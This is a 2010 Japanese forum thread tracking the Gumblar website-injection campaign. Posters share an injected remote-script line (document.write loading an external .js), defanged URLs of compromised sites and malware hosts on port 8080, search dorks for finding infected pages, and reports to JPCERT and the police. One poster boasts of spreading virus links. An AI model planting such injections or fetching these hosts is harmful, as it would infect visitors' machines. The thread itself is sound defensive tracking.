723 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 17:00:08
アドビは本当にやる気無いな
ゼロデイ状態でも一月くらい平気で待たすし
ゼロデイ状態でも一月くらい平気で待たすし
724 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 17:33:35
document.write('<s'+'cript type="text/javascript" src="[URL]"></scr'+'ipt>');
さっそく弄ってきたｗ
さっそく弄ってきたｗ
725 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 17:35:27
>>718
新型avast!反応しないね(´･ω･`)
新型avast!反応しないね(´･ω･`)
726 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 17:48:45
というか.jsの中身がcom:8080だと今更気付いた
727 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 18:38:48
>>725
新型はリダイレクト先が
blog●bigsophieblog●com/
sogpaoiy●the-mlmpowercall●com/
この２つに集約されてるから、hostsファイルで簡単に蹴れる
ドメインが増えたら抜けちゃうけどなｗ
新型はリダイレクト先が
blog●bigsophieblog●com/
sogpaoiy●the-mlmpowercall●com/
この２つに集約されてるから、hostsファイルで簡単に蹴れる
ドメインが増えたら抜けちゃうけどなｗ
728 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 20:40:59
>>723
市場独占してるからってふんぞり返って
世界に流通してるソフトのセキュリティを疎かにするってのは
世界中にウイルスを広がらせて打撃を与えてるってのと同義なのにね
ウイルスばらまく連中と大差ない、むしろ一般人にはクリーンを装ってる分それ以上か
市場独占してるからってふんぞり返って
世界に流通してるソフトのセキュリティを疎かにするってのは
世界中にウイルスを広がらせて打撃を与えてるってのと同義なのにね
ウイルスばらまく連中と大差ない、むしろ一般人にはクリーンを装ってる分それ以上か
729 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 21:05:50
アメリカ人が損賠請求しないかな
730 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 23:57:20
ttp://mamono.2ch.net/test/read.cgi/hiphop/1248625357/536
ttp://yutori7.2ch.net/test/read.cgi/campus/1275391180/105
ttp://changi.2ch.net/test/read.cgi/cchara/1274810547/877
ttp://changi.2ch.net/test/read.cgi/wcomic/1274275657/521
ttp://yutori7.2ch.net/test/read.cgi/soccer/1274426256/701
ttp://pc11.2ch.net/test/read.cgi/sec/1268032521/571
ttp://yutori.2ch.net/test/read.cgi/nhk/1269009072/51
↑悪用が収まらないので感染中のURL晒すのは止めたらいかがですか？
ウイルスばらまく連中に利用されてるように思います
ttp://yutori7.2ch.net/test/read.cgi/campus/1275391180/105
ttp://changi.2ch.net/test/read.cgi/cchara/1274810547/877
ttp://changi.2ch.net/test/read.cgi/wcomic/1274275657/521
ttp://yutori7.2ch.net/test/read.cgi/soccer/1274426256/701
ttp://pc11.2ch.net/test/read.cgi/sec/1268032521/571
ttp://yutori.2ch.net/test/read.cgi/nhk/1269009072/51
↑悪用が収まらないので感染中のURL晒すのは止めたらいかがですか？
ウイルスばらまく連中に利用されてるように思います
731 ：名無しさん＠お腹いっぱい。：2010/06/14(月) 00:16:26
2chで外部URLがあったらブラクラ・ウイルスだと思ってください
そして、このスレはちゃんと鯖管に通報したりしてますよね
>>730のリンクのスレにこのスレのリンクを貼って
対策を促せばいいんじゃないでしょうか
そして、このスレはちゃんと鯖管に通報したりしてますよね
>>730のリンクのスレにこのスレのリンクを貼って
対策を促せばいいんじゃないでしょうか
732 ：名無しさん＠お腹いっぱい。：2010/06/14(月) 00:48:39
>>730
「自己責任」という言葉はご存知無いのでしょうかネ？
>>656が書いてるように、２ちゃんねるの使い方＆注意 http://info.2ch.net/guide/faq.html#B4 には
>被害を未然に防止するためには、むやみにURLをクリックせず (中略) 転んでも泣かない。。。
貼ってあるURLを疑いもせず、いきなり踏むほうにも問題があります。
>>640も書いてますね。
取説をしっかり読んでから文句を言って下さい。
踏まされて悔しかったら、涙を拭いて…クリーンインストール後に>>4を実施しましょう。
因みに、http://gw.aguse.jp/ を通せば、何が仕掛けられていてもPCには影響が無いので覚えておいて下さい。
aguseはブックマーク推奨ですよ。
「自己責任」という言葉はご存知無いのでしょうかネ？
>>656が書いてるように、２ちゃんねるの使い方＆注意 http://info.2ch.net/guide/faq.html#B4 には
>被害を未然に防止するためには、むやみにURLをクリックせず (中略) 転んでも泣かない。。。
貼ってあるURLを疑いもせず、いきなり踏むほうにも問題があります。
>>640も書いてますね。
取説をしっかり読んでから文句を言って下さい。
踏まされて悔しかったら、涙を拭いて…クリーンインストール後に>>4を実施しましょう。
因みに、http://gw.aguse.jp/ を通せば、何が仕掛けられていてもPCには影響が無いので覚えておいて下さい。
aguseはブックマーク推奨ですよ。
733 ：名無しさん＠お腹いっぱい。：2010/06/14(月) 01:43:23
>>730
つ｢鏡｣
つ｢鏡｣
734 ：名無しさん＠お腹いっぱい。：2010/06/14(月) 13:12:03
昔から提示されたURLホイホイ踏むのはアホのやる事って言われてたしな
踏むものがブラクラからウイルスに変わっただけ
踏むものがブラクラからウイルスに変わっただけ
735 ：名無しさん＠お腹いっぱい。：2010/06/14(月) 13:58:57
www●maizurusou●co●jp/equip/index●html
だが、SonicWallのゲートウェイAVがGumlar_7として反応する。
しかし、ソースをみてもそれらしきものがみあたらん。
ちなみにウイルスバスターも反応しない。
SonicWall抜きでアクセスしても飛ばされた様子もない。
やられてますかね?
だが、SonicWallのゲートウェイAVがGumlar_7として反応する。
しかし、ソースをみてもそれらしきものがみあたらん。
ちなみにウイルスバスターも反応しない。
SonicWall抜きでアクセスしても飛ばされた様子もない。
やられてますかね?
736 ：名無しさん＠お腹いっぱい。：2010/06/14(月) 14:06:36
どこに目を付けてんだ
フレームしか無いシンプルなトップにおもいっきりあるじゃんか
フレームしか無いシンプルなトップにおもいっきりあるじゃんか
737 ：735：2010/06/14(月) 14:21:02
738 ：名無しさん＠お腹いっぱい。：2010/06/14(月) 19:00:57
●com：8080ｷﾀｰ
www●yosegi●jp
www●yosegi●jp
739 ：名無しさん＠お腹いっぱい。：2010/06/14(月) 20:07:54
>>730
お前いいかげん、うぜえよ
お前いいかげん、うぜえよ
740 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 00:41:08
複数サイト管理してるんだが、そのうち1つが改竄されてた。
で、その鯖缶のサイトトップが改竄されてたようなんだが、これは自分は感染してないと見てOK?
で、その鯖缶のサイトトップが改竄されてたようなんだが、これは自分は感染してないと見てOK?
741 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 01:34:21
>>740
とりあえずスキャンしろ
とりあえずスキャンしろ
742 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/15(火) 02:43:36
コテは好きじゃないけど仕方ないか…
>>740
不安に思ったら迷わずスキャンしたほうがいいですよ
それほど手間の掛かる作業でもありませんしね
>>735
メル凸しておきましたと事後報告
Gredで覗いた限りでは綺麗になってますね
>>738
メル凸しました
ついでにJPCERTに報告、Aviraに検体提出済み
>>740
不安に思ったら迷わずスキャンしたほうがいいですよ
それほど手間の掛かる作業でもありませんしね
>>735
メル凸しておきましたと事後報告
Gredで覗いた限りでは綺麗になってますね
>>738
メル凸しました
ついでにJPCERTに報告、Aviraに検体提出済み
743 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 08:13:56
www●kobesaito●com
これも8080系
これも8080系
744 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 10:31:30
そういや最近のGumblerだと対策せず感染したページ見たらウイルスをなすりつけてくるページに飛ばされるのかな？
それともウイルス自体埋め込みだから「感染した！」って解らない？
後者なら恐ろし過ぎるな、普段見てるページすら安心して出歩けないじゃん
過去ログ見る限りレジストリまで弄らないと対策不十分とまで言われるみたいだし
そこまで徹底しないとダメなんじゃあ今も感染が広がるのも納得
それともウイルス自体埋め込みだから「感染した！」って解らない？
後者なら恐ろし過ぎるな、普段見てるページすら安心して出歩けないじゃん
過去ログ見る限りレジストリまで弄らないと対策不十分とまで言われるみたいだし
そこまで徹底しないとダメなんじゃあ今も感染が広がるのも納得
745 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 10:47:41
746 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/15(火) 11:47:50
>>743
さくらインターネット、JPCERTに報告しました
さくらインターネット、JPCERTに報告しました
747 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 13:22:45
>>744
> そういや最近のGumblerだと対策せず感染したページ見たらウイルスをなすりつけてくるページに飛ばされるのかな？
前のを知ってるならレス見てればわかると思うけど変わってないよ
レジストリまで確認しなきゃいけないのは稀な例で一般的にはそこまで必要ない
だいたいハンパなJREが入っていることの方が多い
サイト管理者が感染しても仕方ないという理由にはならないね
> そういや最近のGumblerだと対策せず感染したページ見たらウイルスをなすりつけてくるページに飛ばされるのかな？
前のを知ってるならレス見てればわかると思うけど変わってないよ
レジストリまで確認しなきゃいけないのは稀な例で一般的にはそこまで必要ない
だいたいハンパなJREが入っていることの方が多い
サイト管理者が感染しても仕方ないという理由にはならないね
748 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 13:53:13
artsplanet●biz
com：8080な件
com：8080な件
749 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 14:54:55
>>747
そのJREがコンパネで消しただけじゃダメだからアレなんじゃないの？
感染するのはホームページ持ってるユーザーだけじゃないし、
一般人にはコンパネで消した後も残骸が残ってる、しかも残ってる場所が1つの誤削除でPC動かなくなるかもしれないレジストリなんて予想だにせんよ
そのJREがコンパネで消しただけじゃダメだからアレなんじゃないの？
感染するのはホームページ持ってるユーザーだけじゃないし、
一般人にはコンパネで消した後も残骸が残ってる、しかも残ってる場所が1つの誤削除でPC動かなくなるかもしれないレジストリなんて予想だにせんよ
750 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 15:10:59
751 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 15:43:06
GENOにかかってるか不安な奴はここを見てみ
このサイトのカーソルを当ててなくても波紋が出るならアウト
危険なサイトじゃない安心しろ一応
http://www.geocities.jp/saaikoka/omosiro/omosiro28.htm
このサイトのカーソルを当ててなくても波紋が出るならアウト
危険なサイトじゃない安心しろ一応
http://www.geocities.jp/saaikoka/omosiro/omosiro28.htm
752 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 15:46:01
>>750
通常は、って言ったところで対象にはあるじゃん
プリインストール版はコンパネで消して、見た目は消えてても消した事にならないとか書いてないから被害広がってるところあるんじゃね？
ホントに根絶やしにしたいならそういうところもテンプレ徹底しなくちゃ
通常は、って言ったところで対象にはあるじゃん
プリインストール版はコンパネで消して、見た目は消えてても消した事にならないとか書いてないから被害広がってるところあるんじゃね？
ホントに根絶やしにしたいならそういうところもテンプレ徹底しなくちゃ
753 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 16:47:52
んなレアケースのことなんざどうでもいいよ
どうしてもってならお前がテンプレ作れ
どうしてもってならお前がテンプレ作れ
754 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/15(火) 17:29:42
>>748
さくらインターネット、JPCERTに報告済み
Aviraに検体を提出しました
ttp://yamagata.int21h.jp/tool/GumblarChk/
こんなツールあったんですね
さくらインターネット、JPCERTに報告済み
Aviraに検体を提出しました
ttp://yamagata.int21h.jp/tool/GumblarChk/
こんなツールあったんですね
755 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 18:00:20
756 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 19:20:27
757 ：コテハン ◆8080adndqg ：2010/06/15(火) 20:03:40
>>754 乙乙
--
http://www.google.co.jp/search?hl=ja&source=hp&q=%22src%3D%22%2B%22http%3A%2F%2F%22%2B%22.ru%22OR%22.info%22OR%22.at%22OR%22.com%22%2B%22%3A8080%2F%22%2B%22.js%22%2B%22%3C%5C%2Fscript%3E%3C%22+-JScript+-localhost+-Analyzer+filetype%3Ahtml
色々試したけど、まったく釣れない･･orz
--
http://www.google.co.jp/search?hl=ja&source=hp&q=%22src%3D%22%2B%22http%3A%2F%2F%22%2B%22.ru%22OR%22.info%22OR%22.at%22OR%22.com%22%2B%22%3A8080%2F%22%2B%22.js%22%2B%22%3C%5C%2Fscript%3E%3C%22+-JScript+-localhost+-Analyzer+filetype%3Ahtml
色々試したけど、まったく釣れない･･orz
758 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/16(水) 04:57:20
>>756
サイト構成やリンク先、スクリプトの一覧を一気に把握できるので、
意外と使い方次第かもしれない…とか思ってみたり
>>757
お疲れ様です、検索ワードが苦戦のほどを物語ってますね…
こちらもほぼお手上げ状態、何か良い方法はないものか
サイト構成やリンク先、スクリプトの一覧を一気に把握できるので、
意外と使い方次第かもしれない…とか思ってみたり
>>757
お疲れ様です、検索ワードが苦戦のほどを物語ってますね…
こちらもほぼお手上げ状態、何か良い方法はないものか
759 ：名無しさん＠お腹いっぱい。：2010/06/16(水) 07:10:12
bingで検索したほうがいいよ
760 ：名無しさん＠お腹いっぱい。：2010/06/16(水) 16:15:55
www■4gamer■net/
4亀やられてる？
4亀やられてる？
761 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/16(水) 16:30:27
ウイルス対策ソフトが反応しました？
762 ：名無しさん＠お腹いっぱい。：2010/06/16(水) 16:36:25
＿＿_
|＿＿_ミ⌒ヽペタン
｜ ⌒)ノ ペタン
.＿ノ ） （(
| .・∀| （ 嘘ヽ
|＿＿| |￣￣￣|
/ > . | |
""""""""""""""""""""
|＿＿_ミ⌒ヽペタン
｜ ⌒)ノ ペタン
.＿ノ ） （(
| .・∀| （ 嘘ヽ
|＿＿| |￣￣￣|
/ > . | |
""""""""""""""""""""
763 ：名無しさん＠お腹いっぱい。：2010/06/16(水) 17:10:03
764 ：名無しさん＠お腹いっぱい。：2010/06/16(水) 19:02:30
じゃあそういう類の鑑定スレがあるのか……と言われるとな
結局Gumblerスレあるのここだけだし
初心者もここにすがるしかないんよね
結局Gumblerスレあるのここだけだし
初心者もここにすがるしかないんよね
765 ：名無しさん＠お腹いっぱい。：2010/06/16(水) 19:04:17
767 ：名無しさん＠お腹いっぱい。：2010/06/16(水) 23:16:48
感染の確認方法がないのが痛い。
不安ならアンインストールｗ
不安ならアンインストールｗ
768 ：名無しさん＠お腹いっぱい。：2010/06/16(水) 23:51:32
>>767
怪しい確認方法よりスキャンのがはるかに良い
怪しい確認方法よりスキャンのがはるかに良い
769 ：名無しさん＠お腹いっぱい。：2010/06/17(木) 03:33:11
ノートンゴーストで4日前に戻した
これでウィルスなくなってる？
これでウィルスなくなってる？
770 ：名無しさん＠お腹いっぱい。：2010/06/17(木) 07:34:59
クリーンインスコとか普通なら最終手段なのにな
出現からもうすぐで一年になるのに感染したらこれしかないとか・・・
出現からもうすぐで一年になるのに感染したらこれしかないとか・・・
771 ：名無しさん＠お腹いっぱい。：2010/06/17(木) 08:07:27
感染しているかどうかはどこで判断すればいいの？
772 ：(＇д＇) ◆yUyb3Tqn92 ：2010/06/17(木) 08:25:47
>>730
( ´,дゝ`)俺様こそがまさにウィルス貼りまくってる張本人だがなにか文句でも？
まるでこのスレの住人が同罪みたいな言いようだが、正確には共犯者なのだお( ´,дゝ`)ｳﾌ
それにお前のような奴がいるからやめられねぇ「踏ませ」はな(＇д＇)v
( ´,дゝ`)俺様こそがまさにウィルス貼りまくってる張本人だがなにか文句でも？
まるでこのスレの住人が同罪みたいな言いようだが、正確には共犯者なのだお( ´,дゝ`)ｳﾌ
それにお前のような奴がいるからやめられねぇ「踏ませ」はな(＇д＇)v
773 ：(＇д＇) ◆yUyb3Tqn92 ：2010/06/17(木) 08:26:42
774 ：(＇д＇) ◆yUyb3Tqn92 ：2010/06/17(木) 08:30:25
特に>>2で探すのが一番確実な方法ですね。
はい。調子に乗り乗りな気分です。
次スレでも同じことをするつもりです。
このスレの削除依頼出した奴、無駄な努力お疲れ。
(＇д＇)調子に乗り乗りの気分です(＇д＇)
はい。調子に乗り乗りな気分です。
次スレでも同じことをするつもりです。
このスレの削除依頼出した奴、無駄な努力お疲れ。
(＇д＇)調子に乗り乗りの気分です(＇д＇)
775 ：名無しさん＠お腹いっぱい。：2010/06/17(木) 08:52:44
そういやaguseだと何処見れば対象のページがGumbler感染してるって教えてくれるんだろう
Gredは単純に「危険です」で教えてくれるんだろうけど、aguseは見るところ多すぎてゴチャゴチャでワケワカメ
Gredは単純に「危険です」で教えてくれるんだろうけど、aguseは見るところ多すぎてゴチャゴチャでワケワカメ
776 ：(＇д＇) ◆yUyb3Tqn92 ：2010/06/17(木) 09:39:15
やべぇえええええ
(*＇д＇*)最近心がとても穏やかだぜ俺！！
悪意を持って悪をなしてたのに最近は天使のような心で悪をなしているお！！！
(＇｀д´＇)こ！このままでは！天使になってしまうではないかー！
(*＇д＇*)最近心がとても穏やかだぜ俺！！
悪意を持って悪をなしてたのに最近は天使のような心で悪をなしているお！！！
(＇｀д´＇)こ！このままでは！天使になってしまうではないかー！
777 ：(＇д＇) ◆yUyb3Tqn92 ：2010/06/17(木) 09:39:56
さて
新宿VIPクリスタル行ってこよっと( ＇д＇)
新宿VIPクリスタル行ってこよっと( ＇д＇)
778 ：名無しさん＠お腹いっぱい。：2010/06/17(木) 09:56:45
>>775
確かにわかりにくいよね
確かにわかりにくいよね
779 ：名無しさん＠お腹いっぱい。：2010/06/17(木) 22:35:52
>>771
アンチウィルスソフトにドライブバイダウンロード用のダウンローダが検出されたら
アンチウィルスソフトにドライブバイダウンロード用のダウンローダが検出されたら
780 ：名無しさん＠お腹いっぱい。：2010/06/17(木) 22:39:36
ドライブバイダウンロード用のダウンローダがどこのフォルダに作成されたかが分かればいいのだがなあ
781 ：名無しさん＠お腹いっぱい。：2010/06/17(木) 23:11:08
>>775
取得画像の下にGumbler感染してる可能背がありますってでるぞ
取得画像の下にGumbler感染してる可能背がありますってでるぞ
782 ：名無しさん＠お腹いっぱい。：2010/06/17(木) 23:31:52
783 ：名無しさん＠お腹いっぱい。：2010/06/18(金) 08:58:32
www.value-2han●com
784 ：名無しさん＠お腹いっぱい。：2010/06/18(金) 11:09:59
取扱注意
www●sakaue-farm●co●jp
農業IT化したらウィルス(害虫)にやられてたでござる
www●sakaue-farm●co●jp
農業IT化したらウィルス(害虫)にやられてたでござる
785 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/18(金) 15:05:55
>>783
www●aguse●jp/?m=w&url=www●value-2han●com
> Trojan.JS.Iframe.mi
> temp●hbsouthmomsclub●com:8080/Website●js
警察庁に通報しました
>>784
www●aguse●jp/?m=w&url=www●sakaue-farm●co●jp
メル凸に反応した様でござる、「403 Forbidden」
[補足]
www●value-2han●com
http://www.virustotal.com/analisis/eba1f66d999a07fb74a3d32ec27cf59777ea07ddfcd2dffe3c122f2ea51626e0-1276835405
（com:8080/.jsを落とせず…aguse判定ではサイト消失っぽい）
↓
zbestfilm●net/media/kal/index●php
http://www.virustotal.com/analisis/6ce551224d79142bf877b8003fa0cee6a3bec0d478327537893fb48c7d6f1558-1276835152
↓
id40478●srvdata●ru/mif●js
http://www.virustotal.com/analisis/c42d6f6dfa044de4ff12bc8dd4e37418d5f6dec95e43a387798c999cf6edab0b-1276834287
www●aguse●jp/?m=w&url=www●value-2han●com
> Trojan.JS.Iframe.mi
> temp●hbsouthmomsclub●com:8080/Website●js
警察庁に通報しました
>>784
www●aguse●jp/?m=w&url=www●sakaue-farm●co●jp
メル凸に反応した様でござる、「403 Forbidden」
[補足]
www●value-2han●com
http://www.virustotal.com/analisis/eba1f66d999a07fb74a3d32ec27cf59777ea07ddfcd2dffe3c122f2ea51626e0-1276835405
（com:8080/.jsを落とせず…aguse判定ではサイト消失っぽい）
↓
zbestfilm●net/media/kal/index●php
http://www.virustotal.com/analisis/6ce551224d79142bf877b8003fa0cee6a3bec0d478327537893fb48c7d6f1558-1276835152
↓
id40478●srvdata●ru/mif●js
http://www.virustotal.com/analisis/c42d6f6dfa044de4ff12bc8dd4e37418d5f6dec95e43a387798c999cf6edab0b-1276834287
786 ：名無しさん＠お腹いっぱい。：2010/06/18(金) 17:08:26
取扱注意
www●dord●co●jp
深海調査のエキスパートねぇ…
www●dord●co●jp
深海調査のエキスパートねぇ…
787 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/18(金) 18:11:54
788 ：八頭 ◆YAGApwSaEw ：2010/06/18(金) 22:01:30
>>夷塚さん
お疲れ様
リアルタイムで危険性を痛感している方が指摘する、「オープンなやりとりは危険を伴う」という意見にも頷けるので
僕はここを「無いよりはマシな程度」の存在にすぎないと思ってます（早い話が必要無い派です）
お疲れ様
リアルタイムで危険性を痛感している方が指摘する、「オープンなやりとりは危険を伴う」という意見にも頷けるので
僕はここを「無いよりはマシな程度」の存在にすぎないと思ってます（早い話が必要無い派です）
789 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/19(土) 05:39:37
>>787は、探すのが面倒なcom:8080を幾つも発掘している事に驚いている、
という意味で書いたのですが、読み返すと日本語おかしいですね
気が緩んでいたかな…申し訳ありません
>>788
まさか八頭氏からご指名とは驚きました
俺は「必要なくなる日が来るといいなあ」以上の事は考えてませんよ
という意味で書いたのですが、読み返すと日本語おかしいですね
気が緩んでいたかな…申し訳ありません
>>788
まさか八頭氏からご指名とは驚きました
俺は「必要なくなる日が来るといいなあ」以上の事は考えてませんよ
790 ：名無しさん＠お腹いっぱい。：2010/06/19(土) 12:16:04
レス削除なかなかされないねぇ
このスレのテンプレ見て踏んで被害者が増えない事を祈るのみ
あと運営仕事しろ
このスレのテンプレ見て踏んで被害者が増えない事を祈るのみ
あと運営仕事しろ
791 ：コテハン ◆8080adndqg ：2010/06/19(土) 14:28:12
【陥落サイトのURL悪用厳禁】
www●leclat●net/blog/
www●leclat●net/blog/
792 ：コテハン ◆8080adndqg ：2010/06/19(土) 15:03:56
>>789
確かに面倒なのでｓ･･orz
ttp://www.google.co.jp/search?q=%22.com%3A8080%2F%22%2B%22Access_Point.js%22+OR+%22Backup.js%22+OR+%22Cable_Modem.js%22+OR+%22Data_Type.js%22
+OR+%22Default.js%22+OR+%22Del.icio.us.js%22+OR+%22Finder.js%22+OR+%22Gigahertz.js%22+OR+%22Gnutella.js%22
ttp://www.google.co.jp/search?hl=ja&q=%22.com%3A8080%2F%22%2B%22Hard_Copy.js%22+OR+%22Hardware.js%22+OR+%22HDMI.js%22+OR+%22JPEG.js%22+OR+%22
Kbps.js%22+OR+%22Kibibyte.js%22+OR+%22Link.js%22+OR+%22Name_Server.js%22+OR+%22Null.js%22+OR+%22OASIS.js%22+OR+%22Open_Source.js%22
ttp://www.google.co.jp/search?hl=ja&q=%22.com%3A8080%2F%22%2B%22Page_View.js%22+OR+%22Parallel_Port.js%22+OR+%22Paste.js%22+OR+%22Raw_File.js%22
+OR+%22Scrolling.js%22+OR+%22Tag.js%22+OR+%22Telnet.js%22
ttp://www.google.co.jp/search?hl=ja&q=%22.com%3A8080%2F%22%2B%22Unix.js%22+OR+%22Undo.js%22+OR+%22Unfriend.js%22+OR+%22Unmount.js%22+OR+%22
Video_Card.js%22+OR+%22Webmaster.js%22+OR+%22Website.js%22+OR+%22Web_Page.js%22+OR+%22XML.js%22+OR+%22Yahoo.js%22
※「長い行ががが」と叱られたから、てきとーなとこで改行してありま。
あきた(から)ねる..
確かに面倒なのでｓ･･orz
ttp://www.google.co.jp/search?q=%22.com%3A8080%2F%22%2B%22Access_Point.js%22+OR+%22Backup.js%22+OR+%22Cable_Modem.js%22+OR+%22Data_Type.js%22
+OR+%22Default.js%22+OR+%22Del.icio.us.js%22+OR+%22Finder.js%22+OR+%22Gigahertz.js%22+OR+%22Gnutella.js%22
ttp://www.google.co.jp/search?hl=ja&q=%22.com%3A8080%2F%22%2B%22Hard_Copy.js%22+OR+%22Hardware.js%22+OR+%22HDMI.js%22+OR+%22JPEG.js%22+OR+%22
Kbps.js%22+OR+%22Kibibyte.js%22+OR+%22Link.js%22+OR+%22Name_Server.js%22+OR+%22Null.js%22+OR+%22OASIS.js%22+OR+%22Open_Source.js%22
ttp://www.google.co.jp/search?hl=ja&q=%22.com%3A8080%2F%22%2B%22Page_View.js%22+OR+%22Parallel_Port.js%22+OR+%22Paste.js%22+OR+%22Raw_File.js%22
+OR+%22Scrolling.js%22+OR+%22Tag.js%22+OR+%22Telnet.js%22
ttp://www.google.co.jp/search?hl=ja&q=%22.com%3A8080%2F%22%2B%22Unix.js%22+OR+%22Undo.js%22+OR+%22Unfriend.js%22+OR+%22Unmount.js%22+OR+%22
Video_Card.js%22+OR+%22Webmaster.js%22+OR+%22Website.js%22+OR+%22Web_Page.js%22+OR+%22XML.js%22+OR+%22Yahoo.js%22
※「長い行ががが」と叱られたから、てきとーなとこで改行してありま。
あきた(から)ねる..
793 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/19(土) 17:36:09
>>791
メル凸済み、反応待ち
メル凸済み、反応待ち
794 ：名無しさん＠お腹いっぱい。：2010/06/19(土) 21:52:23
www●itecjapan●co●jp/js/jQuery●js
末尾のdocument.writeがそうだと思う
末尾のdocument.writeがそうだと思う
795 ：名無しさん＠お腹いっぱい。：2010/06/19(土) 22:24:10
www17●ocn●ne●jp/~pss/
796 ：名無しさん＠お腹いっぱい。：2010/06/19(土) 22:56:37
www6●ocn●ne●jp/~mikajima/
797 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/20(日) 00:00:41
798 ：名無しさん＠お腹いっぱい。：2010/06/20(日) 00:55:56
799 ：名無しさん＠お腹いっぱい。：2010/06/20(日) 13:55:12
Last-Modified: Sat, 19 Jun 2010 09:10:53 GMT
修正したんだろね。
修正したんだろね。
800 ：名無しさん＠お腹いっぱい。：2010/06/21(月) 12:29:07
Flash Playerの脆弱性を悪用、改ざんサイト訪問でウイルス感染の危険
http://internet.watch.impress.co.jp/docs/news/20100621_375855.html
二匹目のドジョウ狙いらしい
http://internet.watch.impress.co.jp/docs/news/20100621_375855.html
二匹目のドジョウ狙いらしい
801 ：名無しさん＠お腹いっぱい。：2010/06/21(月) 20:38:26
スポーツ報知や日刊スポーツの
ttp○//as○sr○impact-ad○jp/hserver/
ってJavaScriptがあやしい・・・
ttp○//as○sr○impact-ad○jp/hserver/
ってJavaScriptがあやしい・・・
802 ：名無しさん＠お腹いっぱい。：2010/06/21(月) 21:45:30
>>801
www.google.co.jp/search?q=%22impact-ad.jp%22
広告のようだけど、あやしいってのは具体的に？
アクセスしてみる限りは、ウェブ改竄の不正コードはない
>>800
国内サイトは十数件ぐらいやられたかんじ
www.google.co.jp/search?lr=lang_ja&q=%22in/yahoo.js%22&num=50
www.google.co.jp/search?q=%22impact-ad.jp%22
広告のようだけど、あやしいってのは具体的に？
アクセスしてみる限りは、ウェブ改竄の不正コードはない
>>800
国内サイトは十数件ぐらいやられたかんじ
www.google.co.jp/search?lr=lang_ja&q=%22in/yahoo.js%22&num=50
803 ：名無しさん＠お腹いっぱい。：2010/06/21(月) 22:01:00
>>802
801だが 1つの記事見てる間にクリック音が何回か鳴って
IE8左上の戻るサイト一覧のところにttp○//as○sr○impact-ad○jp/hserver・・・
があったからどうしたのかと思って
MSEでフルスキャンしたら何もウイルスは見つからなかった
801だが 1つの記事見てる間にクリック音が何回か鳴って
IE8左上の戻るサイト一覧のところにttp○//as○sr○impact-ad○jp/hserver・・・
があったからどうしたのかと思って
MSEでフルスキャンしたら何もウイルスは見つからなかった
804 ：名無しさん＠お腹いっぱい。：2010/06/21(月) 23:26:12
805 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 11:09:45
普段見てるページも感染してるんじゃないかって思って日々aguseで石橋を叩く日々だ
DELLで買った奴だからプリインストール版入ってて、コンパネで消したけど不安だよ
ここには対処法は「削除用外部ソフトウェアインスコでおｋ」で片づけられてるし……
初見には外部ソフトウェアは怖い
DELLで買った奴だからプリインストール版入ってて、コンパネで消したけど不安だよ
ここには対処法は「削除用外部ソフトウェアインスコでおｋ」で片づけられてるし……
初見には外部ソフトウェアは怖い
806 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 13:27:39
取扱注意
www●akuriru●jp
見た感じは8080っぽくないけど、jsファイルが危険すぎﾜﾛﾀ
Web_Page.js ＼(^o^)／
www●akuriru●jp
見た感じは8080っぽくないけど、jsファイルが危険すぎﾜﾛﾀ
Web_Page.js ＼(^o^)／
807 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 16:03:06
Javaを完全にアンインストしたいならJavaRa使えば？
808 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 16:49:29
とりあえず砂箱通してウェブ見てるけど
これも絶対じゃないからなぁ
これも絶対じゃないからなぁ
809 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 17:17:20
>>805
aguseはスルーもあるよ
aguseはスルーもあるよ
810 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 17:45:13
811 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 17:49:13
http://docs.google.com/viewer
これみたいなもんだろ？
これみたいなもんだろ？
812 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 17:53:26
>>809
確かgredもスルーするよな、ウイルスの特性上普段見てるサイトが次の日感染してて……なんてこともあり得るわけだから
恐ろしいったらありゃしない
>>807
外部ソフトウェアわざわざ使わなきゃいけないってのが不安なんだよ……
「プリインストールはコンパネで削除だけじゃむだ」と言って理由を聞かれると「レジストリに残骸が～」といつもあいまいに返して、その残骸の詳細はまったく出てこない
確かgredもスルーするよな、ウイルスの特性上普段見てるサイトが次の日感染してて……なんてこともあり得るわけだから
恐ろしいったらありゃしない
>>807
外部ソフトウェアわざわざ使わなきゃいけないってのが不安なんだよ……
「プリインストールはコンパネで削除だけじゃむだ」と言って理由を聞かれると「レジストリに残骸が～」といつもあいまいに返して、その残骸の詳細はまったく出てこない
813 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 17:59:05
814 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 18:02:31
>>813
ほうほう、Chrome OSに向けて着々と機能増やしてるね
